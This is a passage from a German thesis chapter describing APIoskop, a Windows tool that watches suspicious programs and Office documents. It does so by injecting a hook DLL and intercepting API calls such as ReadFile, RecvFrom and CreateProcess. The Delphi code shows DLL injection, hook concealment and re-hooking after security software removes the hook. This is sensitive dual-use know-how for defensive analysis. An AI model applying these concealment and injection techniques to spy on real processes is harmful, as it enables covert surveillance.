78 Kapitel 4. APIoskop function ReadFile_Callback(hFile: THandle; var Buffer; nnumberofbytestoread: DWORD; var lpnumberofbytesread: DWORD; lpoverlapped: POverlapped): BOOL; stdcall; var strfilename: string; PastSec5: Cardinal; savederror: Cardinal; begin if ( not DontHook) or bconsecutivelycalls then begin DontHook := True; PastSec5 := GetPastSec5; strfilename := GetFileNameAndPathFromHandle(hFile); if CorrectFilename(strFileName) then Log(FKT_ReadFile, strfilename, PastSec5, '', PPR_SymToLogic, 0, 0, -1, 0, 0, '', ''); Result := ReadFile_Next(hFile, Buffer, nnumberofbytestoread, lpnumberofbytesread, lpoverlapped); savederror := GetLastError; DontHook := False; end else begin Result := ReadFile_Next(hFile, Buffer, nnumberofbytestoread, lpnumberofbytesread, lpoverlapped); savederror := GetLastError; end; SetLastError(savedError); end; Abbildung 4.10.: Funktion ReadFile_Callback schen Variablen bconsecutivelycalls. Hat diese den Wert TRUE, so ist die Bedingung in Zeile 10 in jedem Fall erfüllt und der Aufruf wird protokolliert. Sollen Folgeaufrufe nicht protokolliert werden, so hängt der weitere Verlauf der Funktion von der Variablen DontHook ab. Diese boolesche Variable gibt Auskunft darüber, ob der Aufruf direkt aus dem überwachten Programm heraus kam oder aus einer anderen Hook-Funktion. Wenn ReadFile_Callback aus einer anderen Hook-Funktion heraus aufgerufen wurde, so ist ihr Wert TRUE, andernfalls FALSE. Der Funktionsaufruf von ReadFile wird also nur aufgezeichnet, wenn Folgeaufrufe protokolliert werden sollen (bconsecutivelycalls = TRUE) oder wenn er direkt aus dem überwachten Programm getätigt wurde (DontHook = FALSE). DontHook ist eine globale Threadvariable, d.h. dass jeder Thread des überwachten Programms eine eigene Instanz dieser Variablen besitzt. Auf diese Weise wird verhindert, dass sich die verschiedenen Ausführungsstränge des überwachten Prozesses nicht bei der Protokollierung eines eigentlich zu vermerkenden Funktionsaufrufs behindern. Soll der Funktionsaufruf protokolliert werden, so wird als erstes in der Zeile 12 die globale Threadvariable DontHook auf TRUE gesetzt, um so die Protokollierung der Funktionsaufrufe zu verhindern, die im weiteren Verlauf der Funktion ReadFile_Callback (oder in Funktionen die in dieser Funktion aufgerufen werden, usw.) folgen können. In der Zeile 13 wird ermittelt, wie viele Zehntel Millisekunden seit der Injektionszeit 64

79 4.4. Implementierung der HookLibrary vergangen sind. Realisiert wird dies mittels eines High Performance Counters von Microsoft [Cor]. Aus dieser Information und der Injektionszeit selber wird dann im Hauptprogramm von APIoskop die genaue Uhrzeit des Funktionsaufrufes berechnet. Anschließend wird in der nächsten Zeile mit Hilfe einer selbstgeschriebenen Funktion das übergebene Dateihandle in einen vollständigen Dateipfad umgewandelt. Sobald der Pfad und der Name der Datei aus dessen Handle ermittelt wurde, wird in der Zeile 15 überprüft, ob es sich dabei um einen korrekten Dateinamen handelt. Ist dies der Fall, so kann der Funktionsaufruf dann letztendlich zu dem Hauptprogramm übermittelt werden. Dazu wird die selbstgeschriebene Funktion Log verwendet, die alle für den Funktionsaufruf relevanten Daten in ein Memory Mapped File schreibt und die Interprozesskommunikation in Gang setzt (siehe Kapitel ). Damit das überwachte Programm keine Kenntnis von diesem Ausspähen erlangt, muss darauf geachtet werden, dass das Resultat der Hook-Funktion dem Resultat der originalen ReadFile-Funktion entspricht. Um diese Originalfunktionalität zu erhalten, wird in einem nächsten Schritt die Trampolinfunktion aufgerufen. Deren Resultat wird als Ergebnis der Hook-Funktion weitergegeben. Zusätzlich wird noch in Zeile 20 deren Fehlerwert zwischengespeichert, damit dieser am Ende der Hook-Funktion wiederhergestellt werden kann. Auch dies trägt zum Verbergen des Hooks bei, da so das Ergebnis der Trampolinfunktion zu der erhaltenen letzten Fehlermeldung passt. Das Setzen der DontHook- Variablen auf FALSE bewirkt, dass ab nun abgefangene Funktionsaufrufe wieder protokolliert werden. Wurde bei der Überprüfung, ob der ReadFile-Aufruf protokolliert werden soll (Zeile 10), festgestellt, dass dies nicht der Fall ist, so wird lediglich das Ergebnis der Trampolinfunktion zurückgegeben. In seltenen Fällen kann es passieren, dass andere Programme, welche dieselbe Funktion hooken, andere Hooks abhängen. Beispielsweise ist dies bei Virenscannern oder Firewalls manchmal der Fall. Die Anweisung ReNewHook stellt lediglich sicher, dass der eigene Hook installiert bleibt. Dies funktioniert jedoch nur in solchen Fällen, in denen die Hook-Funktion eines nachfolgenden Hooks der Hook-Reihe den eigenen Hook abhängt. Wird der eigene Hook von einem sich davor befindlichem Hook abgehängt, so kommt die eigene Hook-Funktion gar nicht mehr zur Ausführung (siehe Kapitel ) RecvFrom Mit der Funktion RecvFrom können Daten von einem Socket empfangen werden. Sie wird von der Bibliothek Ws2_32.dll angeboten, und im Unterschied zur Funktion recv stellt sie Informationen über den Absender zur Verfügung. Diese Funktion wird häufig zum Empfangen von UDP-Datagrammen benutzt. Das Interface dieser API-Funktion ist in Tabelle 4.5 dargestellt. Die Funktion erwartet sechs Argumente und gibt einen numerischen Wert zurück: 1. Bezeichner für den verbundenen Socket, von dem die Daten gelesen werden sollen. 2. Zeigt auf einen Speicherbereich, in dem die Daten gespeichert werden können. 65

80 Kapitel 4. APIoskop Argument s buf len flags from fromlen Resultat Typ SOCKET CHAR* INT INT STRUCT SOCKADDR* INT* INT Tabelle 4.5.: Interface der API-Funktion RecvFrom Dieser muss beschreibbar und mindestens len Bytes lang sein. 3. len gibt die Anzahl der zu lesenden Bytes an. Sind dies mehr als vorhanden sind, so kehrt RecvFrom mit weniger als len Bytes zurück. 4. Über die flags lässt sich das Verhalten der Funktion beim Empfang von Datagrammen einstellen. Diese werden kombiniert mit den eingestellten Socket-Optionen. 5. Ein Zeiger auf eine SOCKADDR-Struktur, in der Informationen über den Absender hinterlegt werden. 6. Zeiger auf die Länge der SOCKADDR-Struktur. Wenn keine Informationen über den Absender erwünscht sind, können die beiden letzten Parameter NULL beziehungsweise 0 sein. 7. Als Resultat liefert RecvFrom die Länge des empfangenen Datagramms in Byte. Vergleicht man die Hook-Funktion aus Abbildung 4.11 mit der in Kapitel vorgestellten Hook-Funktion, erkennt man gut die Ähnlichkeit in deren Struktur. Auch hier wird zuerst durch die Variablen bconsecutivelycalls und DontHook überprüft, ob der Funktionsaufruf protokolliert werden soll. Ist dies nicht der Fall, so wird lediglich durch die Trampolinfunktion das Resultat der Originalfunktion zurückgeliefert und deren Fehlerstatus gesichert. Dieser Status wird wiederhergestellt, nachdem sichergestellt wurde, dass der Hook auch weiterhin installiert ist. Ergibt die Überprüfung in Zeile 10 jedoch, dass der Funktionsaufruf protokolliert werden soll, so wird zuerst durch das Setzen von DontHook auf TRUE gewährleistet, dass fälschlicherweise keine weiteren Aufrufe anderer gehookter Funktionen protokolliert werden. Diese können aufgrund der Verwendung von DontHook nämlich nicht innerhalb des überwachten Programms aufgerufen worden sein, sondern nur aus anderen Hook- Funktionen aus der aktuellen Aufrufkette stammen. Danach wird die bereits erklärte Zeit festgehalten, und anschließend wird durch die Trampolinfunktion das Verhalten der Originalfunktion simuliert. In diesem Beispiel muss dies vor dem Loggen geschehen, damit die Informationen aus der SOCKADDR-Struktur an das Hauptprogramm geschickt werden können. Diese wird nämlich erst beim Aufruf der Trampolinfunktion mit den benötigten Daten gefüllt. In Zeile 16 wird aus diesen Daten die IP-Adresse des Absenders, in Form einer numerischen Repräsentation, herausgefiltert. Wenn diese IP-Adresse dem 66

81 4.4. Implementierung function recvfrom_callback(s: TSocket; var Buf; len, flags: Integer; var from: TSockAddr; var fromlen: Integer): Integer; stdcall; var PastSec5: Cardinal; IP: Cardinal; savederror: Cardinal; begin if ( not DontHook) or bconsecutivelycalls then begin DontHook := True; PastSec5 := GetPastSec5; Result := recvfrom_next(s, Buf, len, flags, from, fromlen); savederror := GetLastError; Move(from.sin_addr, IP, sizeof(cardinal)); if IP <> then begin // = Dezimal( ) if Result <> SOCKET_ERROR then Log(FKT_recvfromWS2, '', PastSec5, '', 0, IP, from.sin_port, Result, 0, '', '') else Log(FKT_recvfromWS2, '', PastSec5, 'Fehler ' + IntToStrEx(savedError) + ': ' + ErrorCodeToStr(savedError), 0, IP, from.sin_port, -1, 0, 0, '', '') end; DontHook := False; end else begin Result := recvfrom_next(s, Buf, len, flags, from, fromlen); savederror := GetLastError; end; SetLastError(savedError); end; Abbildung 4.11.: Funktion RecvFrom_Callback localhost (IP-Adresse: ) entspricht, so wird der Funktionsaufruf nicht protokolliert. Andernfalls werden die Informationen über den Funktionsaufruf von RecvFrom an APIoskop gesendet. Je nachdem, welches Resultat die Trampolinfunktion liefert, wird im Kommentarteil der Benachrichtigung eine Fehlerbeschreibung vermerkt. Auch wenn es auf den ersten Blick verwirrend wirken mag, aber es kann durchaus vorkommen, dass die Absenderadresse dem localhost entspricht. Zum Beispiel existiert eine Methode der Interprozesskommunikation, die Sockets verwendet. Wird diese IPC- Methode von zwei Prozessen benutzt, die auf demselben System laufen, so ist dies beispielsweise der Fall CreateProcess Die Funktion CreateProcess ermöglicht das Erstellen eines neues Prozesses. Abbildung 4.12 stellt Ausschnitte der Hook-Funktion dar. In diesem Fall handelt es sich um die Unicode-Version, welcher unter anderem der Programmname und die Kommandozei- 67

82 Kapitel 4. APIoskop le (entspricht dem Pfad der Startdatei inklusive der Argumente) des neu zu erstellenden Prozesses in Form von Unicode-Strings übergeben werden. Das vollständige Interface ist in Tabelle 4.6 zu sehen. Argument lpapplicationname lpcommandline lpprocessattributes lpthreadattributes binherithandles dwcreationflags lpenvironment LPCTSTR lpstartupinfo lpprocessinformation Resultat Typ LPCWSTR LPWSTR LPSECURITY_ATTRIBUTES LPSECURITY_ATTRIBUTES BOOL DWORD LPVOID lpcurrentdirectory LPSTARTUPINFO LPPROCESS_INFORMATION BOOL Tabelle 4.6.: Interface der API-Funktion CreateProcess In der Abbildung lässt sich wieder sehr gut der übliche Aufbau der Hook-Funktionen erkennen: Wenn der Funktionsaufruf geloggt werden soll, so wird die Trampolinfunktion ausgeführt (Zeile 11), und später werden die für diesen Funktionsaufruf relevanten Daten an das Hauptprogramm von APIoskop geschickt (Zeile 28). Soll der Funktionsaufruf jedoch nicht geloggt werden, so wird lediglich in dem unteren Funktionsabschnitt das Resultat der Trampolinfunktion als Ergebnis der Hook-Funktion zurückgegeben (Zeile 33). Auch am Ende dieser Hook-Funktion wird wieder die Installation des Hooks sichergestellt und der gesicherte Fehlerstatus wiederhergestellt. Dies ist in der Abbildung allerdings nicht zu sehen, da dieses Prinzip schon durch die beiden letzten Beispielfunktionen bekannt sein sollte. Vielmehr steht in diesem Beispiel etwas Anderes im Mittelpunkt des Interesses: Wird ein Funktionsaufruf von CreateProcess registriert, so injiziert die HookLibrary sich selbst in diesen neu erstellten Prozess. Auf diese Weise werden automatisch alle Kindprozesse des überwachten Prozesses ebenfalls überwacht. Erstellen diese weitere Prozesse, so gilt dies auch für jene. Es wird also stets die komplette Prozessfamilie überwacht, an deren Spitze sich der ursprünglich ausgewählte Prozess befindet. Realisiert wird dies folgendermaßen: Die Funktion CreateProcess erwartet unter anderem einen Parameter creationflags 1, durch welchen man kontrollieren kann, wie der neue Prozess erstellt wird. Dieser wird der Trampolinfunktion bei deren Aufruf leicht modifiziert übergeben (Zeile 11 beziehungsweise Zeile 33). Den crationflags wird einfach ein weiteres Flag, das Flag CREATE_SUSPENDED, hinzugefügt. Dieses zusätzliche Flag bewirkt, dass der neue Prozess zwar erstellt wird, dessen Hauptthread aber nicht gestartet wird. Dieser startet erst, wenn man ihn mit der Funktion ResumeThread, welche als Argument dessen Handle übergeben bekommt, dazu veranlasst. Die Hook-Funktion verfährt also nun so, dass sie den neuen Prozess im Suspended-Mode erstellt, die Hook-Library 1 Für nähere Informationen siehe: aspx 68

83 4.4. Implementierung 01 function CreateProcessW_Callback(... creationflags: dword; 02...; var processinfo: TProcessInformation): bool; stdcall;.. 06 begin 07 if ( not DontHook) or bconsecutivelycalls 08 then begin Result := CreateProcessW_Next(..., creationflags or CREATE_SUSPENDED,..., processinfo); savederror := GetLastError; if Result then begin InjectLibrary(processInfo.hProcess, DLLPath + '\HookLibrary.dll'); if creationflags and CREATE_SUSPENDED = 0 then ResumeThread(processInfo.hThread); end;. 28 Log(..., processinfo.dwprocessid, '', '');.. 31 end 32 else begin 33 Result := CreateProcessW_Next(..., creationflags or CREATE_SUSPENDED, 34..., processinfo); 35 savederror := GetLastError; 36 if Result then begin 37 InjectLibrary(processInfo.hProcess, DLLPath + '\HookLibrary.dll'); 38 if creationflags and CREATE_SUSPENDED = 0 39 then ResumeThread(processInfo.hThread); 40 end; 41 end;.. 44 end; Abbildung 4.12.: Funktion CreateProcessW_Callback in diesen injiziert (Zeile 15 beziehungsweise Zeile 37) und dann dessen Hauptthread startet (Zeile 17 beziehungsweise Zeile 39). Bevor dieser gestartet wird, überprüft die Hook-Funktion jedoch noch, ob in den ihr übergebenen creationflags nicht bereits das CREATE_SUSPENDED-Flag enthalten ist. Wenn dies so sein sollte, wird der Hauptthread natürlich nicht gestartet, da dies ursprünglich auch nicht vorgesehen war und ein Abweichen von der Funktionalität der Original CreateProcess-Funktion den Hook verraten könnte. Das für die Funktion ResumeThread benötigte Handle des Hauptthreads erhält man durch die Struktur processinfo. Diese Struktur, welche die Funktion CreateProcess als Argument erwartet, wird von Windows bei deren Ausführung mit Daten über den neu erstellten Prozess gefüllt. Ebenso geschieht dies auch bei der Abarbeitung der Trampolinfunktion, welche die Originalfunktion ja bekanntlich simuliert. Neben dem Handle des Hauptthreads befindet sich beispielsweise auch die Prozess-ID des neuen Prozesses in dieser Struktur. Diese ist Teil der Informationen über den Funktionsaufruf, welche in Zeile 28 an das Hauptprogramm von APIoskop übermittelt werden. Durch das Erstellen des neuen Prozesses im Suspended-Mode, kann dieser keinen Befehl ausführen, bevor dessen Hauptthread per ResumeThread gestartet wird. Auf diese Weise wird gewährleistet, dass APIoskop keinen Aufruf einer gehookten Funktion von diesem Prozess verpasst, da die HookLibrary in diesen Prozess injiziert wird, noch bevor dieser seine ersten Instruktionen abarbeitet. 69

84 Kapitel 4. APIoskop Vom Socket zum Hostnamen Fast alle der von APIoskop überwachbaren API-Funktionen aus dem Bereich der Netzwerkfunktionen erwarten einen Parameter, der vom Typ TSocket ist. Allgemein bezeichnet man mit dem Begriff Socket einen Endpunkt einer Netzwerkkommunikation. Die Herkunft des Begriffs liegt in dem englischen Wort für Steckdose. Charakterisiert wird ein Socket durch folgende vier Werte, welche ausreichen, um eine Kommunikation vollständig zu kennzeichnen: 1. IP-Adresse des Kommunikationspartners, welcher auch Remote-Host genannt wird. 2. Portnummer des Remote-Hosts. 3. IP-Adresse des eigenen Rechners. 4. Portnummer des eigenen Rechners. Damit ein Programm mit einem anderen Programm über ein Netzwerk kommunizieren kann, fordert es von Windows einen Socket an, über welchen dann sämtliche Kommunikation abläuft. Dazu wird der Befehl socket aus der Bibliothek Ws2_32.lib verwendet. Diese Bibliothek ist Teil der Windows API und exportiert sehr viele Funktionen, welche für Netzwerkaktivitäten verwendet werden. Der Anfang des Dateinamens beinhaltet übrigens schon die Abkürzung Ws2 - welche besagt, dass dies die zweite Version der Windows Socket API ist. Dadurch hat das Programm nun zwar ein Objekt zur Hand, über welches es Daten verschicken oder empfangen kann, jedoch hat es Windows noch nicht mitgeteilt, wer denn überhaupt sein Kommunikationspartner ist. Dazu muss der erhaltene Socket zuvor noch durch die Funktion connect mit dem gewünschten Ziel verbunden werden. Dieser Funktion wird eine SOCKADDR-Struktur 2 vom Typ TSockAddrIn übergeben, in welcher unter anderem auch die IP-Adresse und der Port des Remote-Hosts enthalten sind. Sobald nun das Programm Daten senden oder empfangen möchte, ruft es eine entsprechende API-Funktion (z. B. send oder recv) auf und übergibt dieser einen verbundenen Socket. Über diesen Socket sendet beziehungsweise empfängt Windows dann die Daten, ohne dass es Kenntnis über den Remote-Host benötigt, da der Socket ja zu diesem verbunden ist. Allerdings ist ein numerischer Bezeichner des Sockets, nichts anderes ist der Typ TSocket, in der Ausgabeliste für einen Benutzer von APIoskop wenig informativ. Es wird also versucht, statt diesem Bezeichner, die IP-Adresse des Remote-Hosts in der Ausgabeliste anzuzeigen. Um dies zu erreichen, wird in jeder betroffenen Netzwerk-Hook-Funktion versucht, diese Informationen aus dem als Argument übergebenen Socket zu gewinnen. Eine schematische Darstellung dieses Prozesses stellt Abbildung 4.13 dar. Der zur Gewinnung dieser Informationen verwendete Delphi-Code sieht in nahezu jeder Hook-Funktion folgendermaßen aus: 2 Eine genaue Beschreibung dieser Struktur ist unter library/ms aspx zu finden. 70

85 4.4. Implementierung 01 function xyz(s: TSocket; var Addr: TSockAddrIn; 03 Addrlen: Integer; 04 IP: Cardinal; [...] 05 AddrLen := SizeOf(Addr); 06 GetPeerName(s, Addr, addrlen); 07 Move(Addr.sin_addr, IP, sizeof(cardinal)); [...] In Zeile 6 werden mittels der Windows Socket API-Funktion GetPeerName die Informationen über den Remote-Host, welche beim Verbinden des Sockets in diesem gespeichert wurden, aus dem Socket ausgelesen und in einer separaten Variablen Addr hinterlegt. Diese ist ebenfalls, wie die beim Verbinden des Sockets benötigte Strukturvariable, vom Typ TSockAddrIn. Aus dieser Addr-Variablen wird anschließend in Zeile 7 die IP-Adresse des Remote-Hosts (in Form eines numerischen Wertes) in eine weitere Variable kopiert, welche dann letztendlich, mit den übrigen Informationen über den Funktionsaufruf, an das Hauptprogramm übermittelt wird. Bevor das Hauptprogramm von APIoskop die Daten zu diesem Funktionsaufruf in die Ausgabeliste einträgt, wandelt es die numerische Repräsentation noch in die übliche dotted decimal notation für IP-Adressen um. Diese Umwandlung wird durch die Windows Socket API-Funktion inet_ntoa vorgenommen. HookLibrary XYZ_Callback(s: TSocket;...); s (TSocket) WinSockAPI.GetPeerName Addr (TSockAddrIn) Move IP (Cardinal) HookLibrary.Log APIoskop WinSockAPI.inet_ntoa IP (w.x.y.z) Ausgabeliste Hostname (string) DNS-Liste IP (w.x.y.z) IPC-Nachricht (..., IP: Cardinal,...) IP (Cardinal) Hostname (string) HookLibrary.Log IPC-Nachricht (..., Hostname: string,..., IP: Cardinal,...) Abbildung 4.13.: Vom Socket zum Hostnamen 71

86 Kapitel 4. APIoskop Desweiteren verwaltet APIoskop eine durch IP-Adressen indizierte Liste, welche für die Zuordnung von IP-Adressen zu Hostnamen zuständig ist. In der Abbildung 4.13 ist deren bildliche Darstellung mit DNS-Liste beschriftet. Wenn ein neuer Eintrag, welcher eine IP-Adresse enthält, in die Ausgabeliste eingetragen werden soll, wird aus dieser Liste der entsprechende Hostname ausgelesen. Gefüllt wird die Liste durch die Daten, welche gesammelt werden, wenn die Zielapplikation die API-Funktion gethostbyname aufruft. Diese führt eine Namensauflösung durch und wird ebenfalls gehookt. Die Informationen, welche diese Funktion der Zielapplikation zurückliefert, werden durch die HookLibrary ebenfalls an das Hauptprogramm von APIoskop geschickt. Ist die Funktion gethostbyname in den Einstellungen von APIoskop nicht zur Überwachung ausgewählt oder kann zu einer IP-Adresse kein Hostname in der Liste gefunden werden, so versucht sich APIoskop den zur IP-Adresse gehörigen Hostnamen manuell mit Hilfe der API- Funktion gethostbyaddr zu beschaffen. Wurde der Hostname auf diese Weise ermittelt, so wird das entsprechende Paar aus IP-Adresse und Hostname der am Anfang dieses Absatzes angesprochenen DNS-Liste hinzugefügt Vom Keyhandle zum Schlüsselnamen Auch bei Registryfunktionen ist es nicht ohne Umwege möglich, einen Teil der benötigten Informationen aus ihren Argumenten zu erhalten. Beispielsweise wird keiner der von APIoskop überwachbaren Registryfunktionen der Name des Schlüssels, auf welchen die Funktion angewandt wird, im Klartext übergeben. Alle diese Funktionen erwarten zwei Argumente, durch die sie mitgeteilt bekommen, welcher Schlüssel Ziel ihrer Aktivitäten sein soll: - hkey vom Typ THandle. - Subkeyname in Form eines Zeigers auf eine Zeichenkette. Das Argument hkey ist ein eindeutiger Bezeichner eines Registryschlüssels (ab sofort Keyhandle genannt), und der Subkeyname zeigt auf eine Zeichenkette, die den Namen eines Registryschlüssels enthält. Dies ist, wie der Argumentname schon vermuten lässt, ein Schlüssel, welcher in der Baumstruktur der Windows-Registrierungsdatenbank hierarchisch unterhalb des Schlüssels liegt, der durch das Keyhandle gekennzeichnet ist. Der Schlüssel, auf welchen die aufgerufene Registryfunktion nun angewandt werden soll, wird eindeutig durch diese beiden Argumente beschrieben. Es besteht aber weiterhin das Problem, dass man aus diesen beiden Informationen nicht sofort eine Zeichenkette mit dem Schlüsselnamen generieren kann, da das Keyhandle nur ein numerischer Bezeichner ist. Um diesen Schlüsselnamen dem Benutzer aber dennoch im Klartext zu präsentieren, verwendet APIoskop ein selbstgeschriebenes Objekt, welches für die Auflösung eines Keyhandle in den entsprechenden Schlüsselnamen zuständig ist. Dieses Objekt verwaltet intern eine durch Keyhandles indizierte Hashtabelle. Diese Hashtabelle bildet Keyhandles auf Listen ab, welche Paare aus Schlüsselnamen und Keyhandles beinhaltet. Veranschaulicht wird diese interne Datenstruktur in der Abbildung Dieses Objekt bietet verschiedene Funktionen an, um Zugriff auf diese Listen zu ermöglichen. Eine dieser Funktionen ist MakeRegKeyName und erwartet als Argumente das Keyhandle und den Inhalt des Zeigers Subkeyname. Der Rückgabewert dieser 72

87 Implementierung f Hashfunktion (Keyhandle) = Hash-Wert Hash-Wert Liste 0 1 Keyhandle 10, Schlüsselname Keyhandle 11, Schlüsselname Keyhandle m0, Schlüsselname Keyhandle m1, Schlüsselname m0 m1 n Keyhandle 1n, Schlüsselname 1n... Keyhandle mn, Schlüsselname mn Abbildung 4.14.: Datenstruktur zur Zuordnung von Schlüsselname zu Keyhandle Funktion ist dann der gesuchte Schlüsselname. Die gesamte Funktion lässt sich in zwei Abschnitte unterteilen: 1. Als erstes versucht MakeRegKeyName den zum Keyhandle gehörigen Schlüsselnamen zu erhalten. Dazu werden nacheinander die drei folgenden Methoden (in dieser Reihenfolge) versucht, bis die erste erfogreich ist. Sollte keine Methode erfolgreich sein, d. h. es lässt sich kein Schlüsselname zu dem Keyhandle ermitteln, so wird mit dem Hinweis Error: Can t derive Keyname from Keyhandle als Schlüsselname für das Keyhandle weitergearbeitet. Ist dies der Fall, so ist dieser Hinweis später auch in der Ausgabeliste zu lesen. Um dies zu vermeiden, werden aber zuvor folgende drei Methoden angewandt: - Falls das Keyhandle einen Hauptschüssel (HKEY_CLASSES_ROOT, HKEY_ CURRENT_USER, HKEY_LOCAL_MACHINE, usw.) bezeichnen sollte, so wird mit diesem Namen weitergearbeitet. - Suche des Schlüsselnamens in der intern verwendeten Datenstruktur. - Verwendung der Native API-Funktion NtQueryObject, welche zu einem Handle Informationen zurückliefert. Diese Variante wird erst als letzte Möglichkeit in Betracht gezogen, da sie nicht auf allen Windowsversionen funktioniert (siehe Kapitel 3.2.1). Liefert diese Funktion jedoch ein Ergebnis, so wird der Schlüsselname zusammen mit dem Keyhandle in die Datenstruktur aus Abbildung 4.14 eingefügt, so dass dieser für eine spätere Suche zur Verfügung steht. 2. In einem zweiten Schritt wird die Zeichenkette, auf die Subkeyname verweist, an den im ersten Schritt erhaltenen Schlüsselnamen des Keyhandles angehängt. Anschließend folgen ein paar Formatierungsarbeiten und dann liefert MakeRegKeyName diese Konkatenation als Resultat zurück. Es existieren auch Registryfunktionen, welche ein Keyhandle zurückliefern. Dieses Handle kann dann von dem aufrufenden Programm für mögliche spätere Zugriffe auf den dazugehörigen Schlüssel benutzt werden. Beispielsweise geben alle Registryfunktionen, die einen Registryschlüssel erstellen oder öffnen, ein Handle auf diesen Schlüssel zurück. Mittels APIoskop können von diesen Funktionen (jeweils die Ansi- und Widestring- 73

88 Kapitel 4. APIoskop variante) RegCreateKey, RegCreateKeyEx, RegOpenKey und RegOpenKeyEx überwacht werden. Innerhalb deren Hook-Funktionen wird auch mit Hilfe der oben beschriebenen Methode der Schlüsselname aus deren Argumenten hkey und Subkeyname gewonnen. Da nach einem Aufruf dieser vier Funktionen eine weitere Verwendung des zurückgelieferten Handles sehr wahrscheinlich ist, wird dieses zusammen mit dem erhaltenen Schlüsselnamen in die intern verwendete Datenstruktur eingetragen. So wird dieses neue Paar, bestehend aus Keyhandle und Schlüsselname, bei möglichem späteren Suchen nach anderen Schlüsselnamen ebenfalls berücksichtigt Fernsteuerung der Office-Anwendungen APIoskop bietet seinen Benutzern die Möglichkeit, automatisch mehrerer Office- Dokumente überprüfen zu lassen. Dazu sucht sich ein Benutzer mehrere Office- Dokumente aus und startet deren Überprüfung mittels der Menüleiste oder über die Toolbuttonleiste. Da es sich bei Office-Dokumenten lediglich um unausführbare Anwenderdaten handelt und diese an sich keine eigenständigen Programme sind, geht erst eine mögliche Gefahr von ihnen aus, wenn diese in ihren entsprechenden Anwendungen geöffnet werden. Office-Dokumente lassen sich gezielt so präparieren, dass durch Ausnutzen einer Schwachstelle die entsprechende Anwendung dazu gebracht wird, bestimmte Handlungen durchzuführen. Diese Handlungen können schadhafter Natur sein. In solchen Fällen sind diese dann vom Benutzer der Office-Anwendung nicht gewünscht, da dieser, abgesehen von der Schadfunktion, lediglich das geöffnete Dokument betrachten möchte. Zum Testen, ob Office-Dokumente auf diese Weise präpariert sind, öffnet APIoskop die Dokumente nacheinander in ihren entsprechenden Anwendungen und überwacht dann diese Prozesse. Zur Fernsteuerung der einzelnen Office-Anwendungen bietet das Borland Developer Studio 2006 eine Reihe von Komponenten an. Für die Implementierung von APIoskop wurden folgende dieser Komponenten verwendet: - TWordApplication: Dient der Fernsteuerung von Microsoft Word. Über die Eigenschaft TWordApplication.Documents lässt sich ein Objekt ansprechen, dessen Aufgabe im Verwalten der einzelnen Dokumente besteht. Dieses Objekt bietet beispielsweise Methoden zum Öffnen und zum Schliessen von Dokumenten, zur Abfrage, wieviele Dokumente geöffnet sind, usw. - TExcelApplication: Dient der Fernsteuerung von Microsoft Excel. Die Excel- Dateien lassen sich über die Eigenschaft TExcelApplication.Workbooks verwalten. Der Typ dieser Eigenschaft ist ebenfalls ein Objekt und bietet Methoden zum Verwalten der Excel-Dateien. Diese Methoden sind den Methoden des Objekts, welches zur Verwaltung von Dokumenten bei TWordApplication zuständig ist, ähnlich, nur dass diese hier Excel-Tabellen betreffen. Zudem lassen sich über diese Eigenschaft auch die Sheets der einzelnen Tabellen ansteuern. - TPowerPointApplication: Dient der Fernsteuerung von Microsoft PowerPoint. Die einzelnen Präsentationen sind über die Eigenschaften TPowerPointApplication.Presentations ansprechbar. Auch hinter dieser Eigenschaft verbirgt sich ein 74

89 4.5. Zusammenfassung Objekt, über welches beispielsweise Präsentationen geöffnet oder geschlossen werden können. Alle drei Komponenten müssen, bevor sie mit ihren entsprechenden Anwendungen kommunizieren können, mit diesen verbunden werden. Dies geschieht bei allen dreien über die Methode connect. In APIoskop wurden diese Komponenten so konfiguriert, dass sie beim Verbinden zuerst überprüfen, ob nicht schon eine Instanz ihrer Anwendung läuft. Wenn dies bei einer Komponente der Fall ist, so verbindet sich diese zu der schon existierenden Instanz. Andernfalls wird die ensprechende Anwendung gestartet, und die Komponente verbindet sich zu der neu erstellten Instanz Zusammenfassung Nachdem am Anfang dieses Hauptkapitels die Funktionen und Einsatzmöglichkeiten von APIoskop aufgelistet wurden, wurde als nächstes dessen Funktionsweise skizziert. APIoskop sammelt Informationen über die Funktionsaufrufe anderer Applikationen. Um dies zu erreichen, kann ein Benutzer solch eine Zielapplikation auswählen und deren Überwachung starten. An die erwähnten Informationen gelangt APIoskop dadurch, dass es per API-Hooking die Aufrufe ausgewählter API-Funktionen überwacht. Es injiziert eine Bibliothek, welche die Hook-Funktionen enthält, in den Prozess der Zielapplikation und veranschaulicht die erhaltenen Informationen übersichtlich in seinem Hauptprogramm. Diese Bibliothek und das Hauptprogramm stellen auch gleichzeitig die zwei Bestandteile von APIoskop dar. Über das Hauptprogramm von APIoskop kann der Benutzer dieses steuern, und die Aufgabe der Bibliothek besteht darin, die gewünschten Informationen zu sammeln. Außerdem wurde in diesem Kapitel die Benutzeroberfläche von APIoskop vorgestellt. Über diese lässt sich, wie bereits erwähnt, APIoskop steuern und bietet dem Benutzer Zugriff auf dessen Komponenten. Als erstes wurde auf das Hauptfenster eingegangen, welches unter anderem die Ausgabeliste enthält. In dieser Liste bekommt der Benutzer die Resultate der Überwachung präsentiert. Zudem wurden die Fenster zur Auswahl des Prozesses der Zielapplikation und zur Auswahl der zu untersuchenden Office-Dokumente beschrieben. Ebenfalls wurden ein Fenster zur Konfiguration von APIoskop und eines, welches die mitgeschnittenen Datagramme zeigt, vorgestellt. Damit die Ausgabeliste überhaupt Informationen über mögliche Funktionsaufrufe darstellen kann, müssen diese zuvor von der HookLibrary an das Hauptprogramm übertragen werden. Für diese Übertragung wurde eine Methode der Interprozesskommunikation gewählt, welche mit einem Memory Mapped File arbeitet. Innerhalb der HookLibrary existiert eine Funktion Log, welche von den einzelnen Hook-Funktionen aufgerufen wird, wenn diese einen registrierten Funktionsaufruf der Windows API dem Hauptprogramm melden möchten. Dazu wartet die Funktion Log als erstes auf die Freigabe eines Mutexes, welcher die Zugriffe auf das Memory Mapped File synchronisiert und somit inkonsistente Zustände vermeidet. Ist dieser Mutex nicht mehr blockiert, so schreibt die Funktion Log die ihr übergebenen Informationen in das Memory Mapped File und startet über einen Event den MMF-Thread. Dieser liest das Memory Mapped File aus und fügt diese Informationen in eine Queue ein. Diese wird letztendlich von dem Queue-Thread ausgelesen, 75

